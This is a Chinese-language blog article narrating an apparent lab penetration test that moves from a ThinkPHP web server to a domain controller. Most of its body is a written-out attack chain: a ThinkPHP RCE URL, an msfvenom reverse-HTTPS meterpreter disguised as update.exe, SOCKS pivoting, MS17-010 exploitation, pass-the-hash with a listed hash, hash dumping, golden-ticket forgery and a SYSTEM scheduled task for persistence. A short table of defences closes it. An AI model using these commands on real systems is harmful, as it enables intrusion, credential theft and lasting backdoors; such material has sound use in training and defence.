当前位置：首页 > news >正文

Windows服务器渗透日记：我是如何用MS17-010漏洞连穿三层内网的

news 2026/7/1 18:26:17

Windows服务器渗透实战：从外网突破到内网横向移动的技术解析

那天下午，阳光透过百叶窗在键盘上投下斑驳的光影。我盯着屏幕上跳动的命令行界面，手指在键盘上快速敲击——这不是什么电影场景，而是一次真实的渗透测试任务。作为安全工程师，我经常需要模拟攻击者的视角来发现企业网络中的薄弱环节。这次的目标是一个典型的三层内网架构，从外网Web服务器到核心业务系统层层隔离。让我带你走进这次渗透测试的技术细节，看看如何利用经典漏洞突破层层防线。

1. 初始信息收集与漏洞发现

任何成功的渗透都始于细致的信息收集。我首先对目标网络进行了基础扫描，使用Nmap快速识别存活主机和开放服务。经典的-sS参数（SYN扫描）能在不建立完整TCP连接的情况下获取准确的端口信息：

sudo nmap -sS 192.168.10.0/24 -Pn -T4

扫描结果显示了两个有趣的IP：

192.168.10.10：运行Windows Server 2012和易优CMS
192.168.10.233：未明确服务信息

Web应用测试往往是最佳突破口。对192.168.10.10的目录扫描发现了ThinkPHP框架的痕迹：

gobuster dir -u http://192.168.10.10/ -w /usr/share/wordlists/dirb/common.txt -x php

更深入的工具扫描揭示了关键信息：

工具	发现内容	风险等级
fscan	ThinkPHP RCE漏洞	高危
nmap -sV	Windows Server 2012	中危
nikto	过期的中间件版本	中危

ThinkPHP的历史RCE漏洞让我很快获得了初始立足点。通过简单的命令执行，我验证了漏洞的有效性：

http://192.168.10.10/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

提示：真实环境中，这种直接命令执行会触发安全警报。成熟的渗透者会使用更隐蔽的内存加载技术。

2. 建立持久化访问与内网探测

获得初始访问后，我立即着手建立更稳定的控制通道。蚁剑（AntSword）这类Webshell管理工具虽然方便，但流量特征明显。我更倾向于使用MSF生成的定制化后门：

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=attacker_ip LPORT=443 -f exe -o update.exe

这个payload有几个关键优势：

使用HTTPS协议混淆流量
支持多阶段传输，规避基础检测
可配置各种反沙箱和反分析技术

成功上传并执行后，meterpreter会话建立。此时需要立即进行几个关键操作：

进程迁移：从临时的Web进程迁移到稳定系统进程
```
migrate -N svchost.exe
```
权限提升：检查并利用本地提权漏洞
```
getsystem
```
信息收集：
```
run post/windows/gather/enum_domain
```

内网探测发现了更复杂的网络结构：

当前网段：192.168.10.0/24
二级内网：192.168.20.0/24（通过ARP表发现）
域环境：cyberstrikelab.com

3. 横向移动：突破网络隔离

真正的挑战现在才开始。第二层网络(192.168.20.0/24)与第一层严格隔离。传统端口转发在这里行不通，我们需要更巧妙的跳板技术。

MSF的路由配置是关键：

run autoroute -s 192.168.20.0/24 background use auxiliary/server/socks_proxy set SRVPORT 9050 run

这样设置后，所有工具都可以通过本地的SOCKS代理访问二级内网。例如使用Proxychains运行Nmap：

proxychains nmap -sT -Pn 192.168.20.30

扫描结果显示192.168.20.30存在MS17-010（永恒之蓝）漏洞。这个2017年爆出的SMB协议漏洞至今仍能在许多未更新的内网系统中见到。

利用MS17-010的注意事项：

选择正确的攻击模块：
```
use exploit/windows/smb/ms17_010_psexec
```
设置目标架构（x64/x86）：
```
set target 2
```

处理不稳定的会话：

set AutoRunScript post/windows/manage/migrate

成功利用后，我们获得了192.168.20.30的SYSTEM权限。此时发现网络中还存在192.168.20.20——很可能是域控制器。

4. 域环境渗透与权限维持

在企业内网中，域控制器是皇冠上的明珠。通过前期的信息收集，我们已经确认：

域名：cyberstrikelab.com
域管理员：Administrator
获取的Hash：94bd5248e87cb7f2f9b871d40c903927

Pass-the-Hash攻击流程：

使用MSF获取内存中的凭据：
```
load kiwi creds_all
```

通过代理使用psexec.py进行横向移动：

proxychains python3 psexec.py -hashes :94bd5248e87cb7f2f9b871d40c903927 administrator@192.168.20.20

获取域控权限后，导出所有用户Hash：
```
run post/windows/gather/hashdump
```

权限维持的几种技术：

黄金票据：伪造TGT票据

golden_ticket_create -u Administrator -d cyberstrikelab.com -s S-1-5-21-... -k 5bc02b7670084dd30471730cc0a1672c

计划任务：设置定期回调

schtasks /create /tn "Update" /tr "C:\update.exe" /sc hourly /ru SYSTEM

WMI事件订阅：更隐蔽的后门

$filterArgs = @{...} $consumerArgs = @{...}

5. 防御建议与检测方法

站在防守方角度，这类攻击并非无法防范。以下是针对每个攻击阶段的防护措施：

攻击阶段	防御措施	检测方法
初始入侵	Web应用防火墙(WAF) 及时修补框架漏洞	异常命令执行日志 Webshell文件哈希变化
横向移动	网络分段禁用过时协议(SMBv1)	异常SMB连接 Pass-the-Hash行为特征
权限提升	最小权限原则本地管理员密码解决方案(LAPS)	异常账户权限变更
权限维持	定期重置KRBTGT密码监控计划任务创建	黄金票据使用特征异常WMI事件订阅